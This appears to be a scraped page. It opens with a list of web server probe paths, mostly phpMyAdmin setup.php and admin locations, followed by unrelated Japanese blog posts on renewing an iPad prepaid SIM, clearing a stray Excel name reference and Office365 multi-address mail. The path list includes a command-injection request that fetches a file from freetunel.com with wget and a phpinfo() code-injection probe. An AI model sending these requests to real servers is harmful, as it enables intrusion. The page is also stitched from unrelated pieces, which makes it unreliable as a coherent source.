/up/henko.phpkeitai.php
/user/soapCaller.bs
/vhcs2/tools/pma/scripts/setup.php
/wbsadmin/html/scripts/setup.php
/web/index.php
/web/main.php
/web/phpMyAdmin/index.php
/web/phpMyAdmin/scripts/setup.php
/web/phpmyadmin/scripts/setup.php
/web/scripts/setup.php
/webadmin/
/webadmin/main.php
/webadmin/scripts/setup.php
/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/cgi-bin.txt%20http:/freetunel.com/cgi-bin.txt
/webdb/
/webdb/main.php
/webdb/scripts/setup.php
/webmail/README
/webmail/config.inc.php?p=phpinfo();
/webmail2/README
/websql/
/websql/index.php
/websql/main.php
/websql/scripts/setup.php
/wm/README
/wp-content/plugins/wp-phpmyadmin/wp-phpmyadmin/phpmyadmin/scripts/setup.php
/wp-phpmyadmin/phpmyadmin/scripts/setup.php
/wp-phpmyadmin/scripts/setup.php
/xampp/main.php
/xampp/phpmyadmin/index.php
/xampp/phpmyadmin/scripts/setup.php

 

iPadのプリペイドプランが切れた場合の再契約について

昨年、iPadを購入した際に自宅でのWiFiメインで使用するのでプリペイドプランでの契約にしていたのだが、チャージ後に360日以内に再チャージを行わないとプリペイドプランが切れてしまうことをすっかり忘れていて再契約をするはめになった。。。

再契約は簡単
○iPad取り扱いのあるソフトバンクショップに行く
※キャンペーン販売しか取り扱っていない店ではできないので要注意
○新しくSIMカードの購入手続きをする
○事務手数料は1,980円(カード引き落とし)

これだけ

本当の所要時間は30分程度なのだろうが、プリペイドプランを切らして再契約する案件なんてそうそう起こりえないらしく、ショップの人が経験がないのでここに時間が相当掛かった。

合計3時間くらいの覚悟は必要かもしれない

以下内訳
1.iPad取扱店じゃないと契約手続きができないという確認に30分
2.取扱店なのにお店の人が手続き方法を確認するのに30分
3.手続き方法を確認したはずなのにうまくいかなくて再度確認するのに45分
4.SIMカードの最終設定の通信待ちに20分
5.SIMカードを入れ込んだだけで「はい」と渡されたので「何も確認されないんですか?」とSIMカードの認識確認をお願いするつもりで伝えたら、一生懸命にプリペイド課金の手続きを2人掛かりで悩み出す5分
6.「WiFi環境にしないと無理でしょう」と教えてあげる
7.また一生懸命にプリペイド課金の手続きをし始めたので、暖かく見守る10分
8.時間が掛かったついでに「ソフトバンクWiFiってどうすればいいんですか?」と聞いてみたら、また2人掛かりで頑張ること10分
9.ソフトバンクWiFiの設定は諦めて帰る

ショップの人がソフトバンクのショップ用コールセンターみたいなところに電話で確認しようとしてるんだけど毎回15分は繋がらなくて『何も出来ない状態で待たされる』ことが長く掛かった1番の原因なんだ

気をつけようプリペイドプランの期限切れ

Excelで「このファイルは保存されていないファイルを参照しています」と出た場合の対処法

人に加工してもらったエクセルファイルを開いて、上書き保存使用とした際に「このファイルは保存されていないファイルを参照しています」とメッセージが表示された。

セルの値を見ても変な関数は使っていないし、ファイル参照も見当たらないので原因がよく分からない。
保存ができていなかった訳ではないし、セル内にエラー表示が出るわけでもないのでいいっちゃいいんだけど、ちょっと気持ち悪いので対処した。

メニューバーの 『挿入』→『名前』→『定義』
この『定義』には印刷範囲などのエクセルシートに対して設定されている定義が表示される場所なんだけど、ここに変な参照範囲が指定された定義があった。

どういう過程で入ったのかは不明だが、数値の合算をする時に一時用として新規のブックを開いて、その上で計算させた値を参照したのだと思われる。参照設定した後に「間違えた」ということでセル内を削除指定したのか行か列指定で削除したのかで参照定義だけは居残ってしまっていて、たまたま新しいブックで作り始めた「Book1」という名前の状態だったのが、反応してしまっていたみたいだ。

 

Office365で独自ドメインのメールアドレスを利用する方法(その3)

まずはOffice365で独自ドメインのDNSを移行せずにメール運用する方法のドメイン設定方法について説明しました
Office365で独自ドメインのメールアドレスを利用する方法(その1)

1ユーザー毎にメールアドレスを配布したい場合はこちら
Office365で独自ドメインのメールアドレスを利用する方法(その2)

 

メールアドレスをマルチアカウントとして運用したい場合が今回です
結論から言うとマルチアカウントは可能ですが、実運用は不便を感じる事が多いかと思います。複数のメールアドレスを使用しているということは色んな場面で使い分けているということですよね。Office365でマルチアカウント受信は可能ですが、個別のメールアドレスを送信者として設定することが出来ません。Gmailと同じ動きを期待しているとここでつまづきます。

別ユーザーを立てて、そのメールアドレスを使っての送信はできるようですが【マルチアカウントでの対応】となると今のところは難しいようです。今後の対応に期待しましょう。

送信アドレスは1つでもいいので、とにかくマルチアカウント受信をしたいという人は下記の設定をしていって下さい。

 

1.『管理者』画面からOutlookの『全般設定』をクリック

 

2.親となるメールアドレスアカウントを選んで『詳細設定』をクリック

 

3.『電子メールオプション』をクリックすると追加用のボックスが開きます

 

4.『追加』ボタンを押下します

 

5.追加したいメールアドレス名を入力します

 

6.『電子メールオプション』の欄にマルチ受信するアカウントが追加されました。

 

アカウントの追加に関してはGmailよりも早くて簡単なんですけど、受信のみのしか活用できないというのがネックになります。
ユーザーを追加することで対応しようとしても個別に月額費用が発生してしまうので、WebAppsはOffice365、メール運用はGmailでする方が安く上がるのかなと思います。